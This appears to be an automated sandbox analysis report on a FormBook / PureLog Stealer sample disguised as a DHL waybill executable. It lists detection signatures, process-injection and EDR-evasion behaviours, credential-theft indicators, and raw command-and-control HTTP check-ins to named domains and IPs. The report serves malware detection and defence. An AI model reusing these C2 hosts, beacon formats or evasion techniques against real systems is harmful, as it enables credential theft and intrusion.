Windows Analysis Report
Dhl-Awb 0865252 copy.exe

Overview

General Information

Sample name: Dhl-Awb 0865252 copy.exe
Analysis ID: 1436293
MD5: a26ca710025e5efa13456170b66d565a
SHA1: 04bd899c577837c6cee1a0388fa46bc8bc227ca9
SHA256: dc63606ac171f693a256efeabdbb8c47957edf0af01ac63d10f4f44a9a4e1f56
Tags: DHLexeFormbook
Infos:

Detection

FormBook, PureLog Stealer
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected FormBook
Yara detected PureLog Stealer
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
.NET source code contains very large array initializations
Adds a directory exclusion to Windows Defender
Allocates memory in foreign processes
Found direct / indirect Syscall (likely to bypass EDR)
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queues an APC in another process (thread injection)
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses shutdown.exe to shutdown or reboot the system
Writes to foreign memory regions
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: Dhl-Awb 0865252 copy.exe Virustotal: Detection: 55% Perma Link
Source: Dhl-Awb 0865252 copy.exe ReversingLabs: Detection: 60%
Yara detected FormBook
Source: Yara match File source: 8.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000015.00000002.2458227269.0000000005780000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1462280600.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2454723400.0000000003610000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1465149563.0000000001B70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2451180348.0000000003280000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2455047423.0000000006230000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2455041257.0000000003760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1465365061.0000000004DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Machine Learning detection for sample
Source: Dhl-Awb 0865252 copy.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: Dhl-Awb 0865252 copy.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: Dhl-Awb 0865252 copy.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000012.00000002.2451160512.00000000004AE000.00000002.00000001.01000000.0000000D.sdmp, kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000015.00000002.2451165931.00000000004AE000.00000002.00000001.01000000.0000000D.sdmp
Source: Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000008.00000002.1462842042.00000000017E0000.00000040.00001000.00020000.00000000.sdmp, shutdown.exe, 00000014.00000002.2455447375.00000000039D0000.00000040.00001000.00020000.00000000.sdmp, shutdown.exe, 00000014.00000003.1462150967.000000000366D000.00000004.00000020.00020000.00000000.sdmp, shutdown.exe, 00000014.00000002.2455447375.0000000003B6E000.00000040.00001000.00020000.00000000.sdmp, shutdown.exe, 00000014.00000003.1467744623.000000000381D000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: shutdown.pdbGCTL source: RegSvcs.exe, 00000008.00000002.1462551195.0000000001377000.00000004.00000020.00020000.00000000.sdmp, kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000012.00000002.2453742039.0000000001328000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 00000008.00000002.1462842042.00000000017E0000.00000040.00001000.00020000.00000000.sdmp, shutdown.exe, shutdown.exe, 00000014.00000002.2455447375.00000000039D0000.00000040.00001000.00020000.00000000.sdmp, shutdown.exe, 00000014.00000003.1462150967.000000000366D000.00000004.00000020.00020000.00000000.sdmp, shutdown.exe, 00000014.00000002.2455447375.0000000003B6E000.00000040.00001000.00020000.00000000.sdmp, shutdown.exe, 00000014.00000003.1467744623.000000000381D000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: shutdown.pdb source: RegSvcs.exe, 00000008.00000002.1462551195.0000000001377000.00000004.00000020.00020000.00000000.sdmp, kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000012.00000002.2453742039.0000000001328000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_0329B740 FindFirstFileW,FindNextFileW,FindClose, 20_2_0329B740
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 4x nop then xor eax, eax 20_2_032892B0

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.7:49712 -> 159.100.14.108:80
Source: Traffic Snort IDS: 2856318 ETPRO TROJAN FormBook CnC Checkin (POST) M4 192.168.2.7:49714 -> 199.59.243.225:80
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.7:49717 -> 199.59.243.225:80
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.7:49721 -> 200.58.112.243:80
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.7:49725 -> 185.151.30.215:80
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 199.59.243.225 199.59.243.225
Source: Joe Sandbox View IP Address: 199.59.243.225 199.59.243.225
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: DE-FIRSTCOLOwwwfirst-colonetDE DE-FIRSTCOLOwwwfirst-colonetDE
Source: Joe Sandbox View ASN Name: DattateccomAR DattateccomAR
Source: Joe Sandbox View ASN Name: TWENTYIGB TWENTYIGB
Source: Joe Sandbox View ASN Name: BODIS-NJUS BODIS-NJUS
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /tkc9/?_vwlXV=I0Jr0RVqPQejCQdrgaLPMsULlzKKGbEqp1Zfy2JBtnoMUPjBPr4UJ6ld1DC+3mH3mvWXdsJCma4Nh2xetp/xFyst0ZbCb1PYroSCrGSDCESqEum2WWp+vRyz7xPB0+rfp/JYaK3mXLkR&841x=vt184X98OtQ0g HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.badai77resmi.netConnection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Source: global traffic HTTP traffic detected: GET /tkc9/?841x=vt184X98OtQ0g&_vwlXV=oBKUUw+PclqsYqdEbKEtDVc/KDwoXvBo9DCIQrGFa5weHyD+5aoGXzWKFV94V9YGYodsnZaFejxXMPAHsIU+z85ddO8AZcXSXUhPW2rioxtiyDW4lIg6y/ts8OoE/eZmyRHUaj6EOYJE HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.gaglianoart.comConnection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Source: global traffic HTTP traffic detected: GET /tkc9/?841x=vt184X98OtQ0g&_vwlXV=jqPrS3qTJTYQyqmIO2oWpvyY27IGuuAVZrk4CsYV4ggQpJ+Sx5jgDbQO/kTudxVD2P5+GF+5Rpgt0cv3wgHwIeUjeoNPKFTOlZjvghZGk1Gz0fMZGvYjZW3H9aCrqsEs2ZJyz2Rypk9D HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.miagronorte.com.arConnection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Source: global traffic HTTP traffic detected: GET /tkc9/?_vwlXV=YCrPnyMK6N0xyWsUxbMCVm51Kr/VqTP9Vc/bNERWwPWSWPqcFUgEexJj0TZSGRta9epkHr3byMGCsT7E2VhvMhjbiZjKxfqWasqVt4+J8b4ItYUw6rfNer58xbkW0yWLnZZ/5+MZPYqk&841x=vt184X98OtQ0g HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,en;q=0.5Host: www.sacredcoven.videoConnection: closeUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Source: global traffic DNS traffic detected: DNS query: www.blfyazilkd.net
Source: global traffic DNS traffic detected: DNS query: www.badai77resmi.net
Source: global traffic DNS traffic detected: DNS query: www.gaglianoart.com
Source: global traffic DNS traffic detected: DNS query: www.prizesupermarket.com
Source: global traffic DNS traffic detected: DNS query: www.miagronorte.com.ar
Source: global traffic DNS traffic detected: DNS query: www.sacredcoven.video
Source: global traffic DNS traffic detected: DNS query: www.bulkfun.top
Source: unknown HTTP traffic detected: POST /tkc9/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.5Host: www.gaglianoart.comOrigin: http://www.gaglianoart.comReferer: http://www.gaglianoart.com/tkc9/Connection: closeContent-Length: 219Content-Type: application/x-www-form-urlencodedCache-Control: max-age=0User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)Data Raw: 5f 76 77 6c 58 56 3d 6c 44 69 30 58 42 32 51 4c 46 6e 47 66 6f 70 53 58 59 59 6f 41 56 67 35 50 69 63 49 52 4c 49 65 76 7a 4f 68 5a 61 6d 2f 57 35 42 50 4d 68 2f 41 38 66 51 57 42 77 69 6b 43 67 68 49 44 39 74 6c 64 36 74 61 72 4f 53 53 66 43 4e 43 4f 70 59 68 68 5a 51 71 35 2f 5a 46 4a 66 77 36 55 4d 54 52 46 46 4e 56 66 44 76 32 75 42 4e 55 7a 6e 4f 56 30 75 64 4e 75 4d 5a 34 39 4c 34 55 2f 50 4e 6b 39 32 61 4a 54 41 6e 63 41 39 78 49 36 55 47 6c 47 41 54 78 47 53 2f 76 6c 6e 50 6f 2b 75 44 6a 4a 58 49 5a 78 64 74 55 33 53 37 5a 76 38 6b 2b 57 4c 30 4f 49 48 6e 6b 48 6f 45 6c 42 66 54 74 38 74 55 7a 2f 61 32 4a 78 4d 6e 73 2b 30 42 37 53 67 3d 3d Data Ascii: _vwlXV=lDi0XB2QLFnGfopSXYYoAVg5PicIRLIevzOhZam/W5BPMh/A8fQWBwikCghID9tld6tarOSSfCNCOpYhhZQq5/ZFJfw6UMTRFFNVfDv2uBNUznOV0udNuMZ49L4U/PNk92aJTAncA9xI6UGlGATxGS/vlnPo+uDjJXIZxdtU3S7Zv8k+WL0OIHnkHoElBfTt8tUz/a2JxMns+0B7Sg==
Source: Dhl-Awb 0865252 copy.exe String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: Dhl-Awb 0865252 copy.exe String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: Dhl-Awb 0865252 copy.exe String found in binary or memory: http://ocsp.comodoca.com0
Source: Dhl-Awb 0865252 copy.exe, 00000000.00000002.1241635275.0000000002B0B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000015.00000002.2458227269.00000000057E0000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.sacredcoven.video
Source: kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000015.00000002.2458227269.00000000057E0000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.sacredcoven.video/tkc9/
Source: shutdown.exe, 00000014.00000002.2459527178.00000000081A8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: shutdown.exe, 00000014.00000002.2459527178.00000000081A8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: shutdown.exe, 00000014.00000002.2459527178.00000000081A8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: shutdown.exe, 00000014.00000002.2459527178.00000000081A8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: shutdown.exe, 00000014.00000002.2459527178.00000000081A8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: shutdown.exe, 00000014.00000002.2459527178.00000000081A8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: shutdown.exe, 00000014.00000002.2459527178.00000000081A8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: shutdown.exe, 00000014.00000002.2451924652.000000000348F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: shutdown.exe, 00000014.00000002.2451924652.000000000348F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: shutdown.exe, 00000014.00000002.2451924652.000000000348F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2
Source: shutdown.exe, 00000014.00000002.2451924652.000000000348F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: shutdown.exe, 00000014.00000002.2451924652.000000000348F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: shutdown.exe, 00000014.00000002.2451924652.000000000348F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: shutdown.exe, 00000014.00000002.2451924652.000000000348F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: shutdown.exe, 00000014.00000003.1754547867.0000000008182000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: shutdown.exe, 00000014.00000002.2457029186.0000000004576000.00000004.10000000.00040000.00000000.sdmp, kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000015.00000002.2455871607.00000000038C6000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.1884451076.0000000014AA6000.00000004.80000000.00040000.00000000.sdmp String found in binary or memory: https://www.badai77resmi.net/tkc9/?_vwlXV=I0Jr0RVqPQejCQdrgaLPMsULlzKKGbEqp1Zfy2JBtnoMUPjBPr4UJ6ld1D
Source: Dhl-Awb 0865252 copy.exe String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0
Source: shutdown.exe, 00000014.00000002.2459527178.00000000081A8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: shutdown.exe, 00000014.00000002.2457029186.0000000004708000.00000004.10000000.00040000.00000000.sdmp, kyiMYcMGDSlDbpzjCWbWMcLM.exe, 00000015.00000002.2455871607.0000000003A58000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.google.com

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 8.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000015.00000002.2458227269.0000000005780000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1462280600.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2454723400.0000000003610000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1465149563.0000000001B70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2451180348.0000000003280000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2455047423.0000000006230000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.2455041257.0000000003760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1465365061.0000000004DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 8.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000015.00000002.2458227269.0000000005780000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.1462280600.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000014.00000002.2454723400.0000000003610000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.1465149563.0000000001B70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000014.00000002.2451180348.0000000003280000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000012.00000002.2455047423.0000000006230000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000014.00000002.2455041257.0000000003760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.1465365061.0000000004DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
.NET source code contains very large array initializations
Source: Dhl-Awb 0865252 copy.exe, Form3.cs Large array initialization: : array initializer size 683308
Uses shutdown.exe to shutdown or reboot the system
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Process created: C:\Windows\SysWOW64\shutdown.exe "C:\Windows\SysWOW64\shutdown.exe"
Contains functionality to call native functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0042AD13 NtClose, 8_2_0042AD13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852B60 NtClose,LdrInitializeThunk, 8_2_01852B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852DF0 NtQuerySystemInformation,LdrInitializeThunk, 8_2_01852DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852C70 NtFreeVirtualMemory,LdrInitializeThunk, 8_2_01852C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018535C0 NtCreateMutant,LdrInitializeThunk, 8_2_018535C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01854340 NtSetContextThread, 8_2_01854340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01854650 NtSuspendThread, 8_2_01854650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852B80 NtQueryInformationFile, 8_2_01852B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852BA0 NtEnumerateValueKey, 8_2_01852BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852BE0 NtQueryValueKey, 8_2_01852BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852BF0 NtAllocateVirtualMemory, 8_2_01852BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852AB0 NtWaitForSingleObject, 8_2_01852AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852AD0 NtReadFile, 8_2_01852AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852AF0 NtWriteFile, 8_2_01852AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852DB0 NtEnumerateKey, 8_2_01852DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852DD0 NtDelayExecution, 8_2_01852DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852D00 NtSetInformationFile, 8_2_01852D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852D10 NtMapViewOfSection, 8_2_01852D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852D30 NtUnmapViewOfSection, 8_2_01852D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852CA0 NtQueryInformationToken, 8_2_01852CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852CC0 NtQueryVirtualMemory, 8_2_01852CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852CF0 NtOpenProcess, 8_2_01852CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852C00 NtQueryInformationProcess, 8_2_01852C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852C60 NtCreateKey, 8_2_01852C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852F90 NtProtectVirtualMemory, 8_2_01852F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852FA0 NtQuerySection, 8_2_01852FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852FB0 NtResumeThread, 8_2_01852FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852FE0 NtCreateFile, 8_2_01852FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852F30 NtCreateSection, 8_2_01852F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852F60 NtCreateProcessEx, 8_2_01852F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852E80 NtReadVirtualMemory, 8_2_01852E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852EA0 NtAdjustPrivilegesToken, 8_2_01852EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852EE0 NtQueueApcThread, 8_2_01852EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01852E30 NtWriteVirtualMemory, 8_2_01852E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01853090 NtSetValueKey, 8_2_01853090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01853010 NtOpenDirectoryObject, 8_2_01853010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018539B0 NtGetContextThread, 8_2_018539B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01853D10 NtOpenProcessToken, 8_2_01853D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01853D70 NtOpenThread, 8_2_01853D70
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A44340 NtSetContextThread,LdrInitializeThunk, 20_2_03A44340
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A44650 NtSuspendThread,LdrInitializeThunk, 20_2_03A44650
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42BA0 NtEnumerateValueKey,LdrInitializeThunk, 20_2_03A42BA0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42BE0 NtQueryValueKey,LdrInitializeThunk, 20_2_03A42BE0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42BF0 NtAllocateVirtualMemory,LdrInitializeThunk, 20_2_03A42BF0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42B60 NtClose,LdrInitializeThunk, 20_2_03A42B60
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42AF0 NtWriteFile,LdrInitializeThunk, 20_2_03A42AF0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42AD0 NtReadFile,LdrInitializeThunk, 20_2_03A42AD0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42FB0 NtResumeThread,LdrInitializeThunk, 20_2_03A42FB0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42FE0 NtCreateFile,LdrInitializeThunk, 20_2_03A42FE0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42F30 NtCreateSection,LdrInitializeThunk, 20_2_03A42F30
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42E80 NtReadVirtualMemory,LdrInitializeThunk, 20_2_03A42E80
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42EE0 NtQueueApcThread,LdrInitializeThunk, 20_2_03A42EE0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42DF0 NtQuerySystemInformation,LdrInitializeThunk, 20_2_03A42DF0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42DD0 NtDelayExecution,LdrInitializeThunk, 20_2_03A42DD0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42D30 NtUnmapViewOfSection,LdrInitializeThunk, 20_2_03A42D30
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42D10 NtMapViewOfSection,LdrInitializeThunk, 20_2_03A42D10
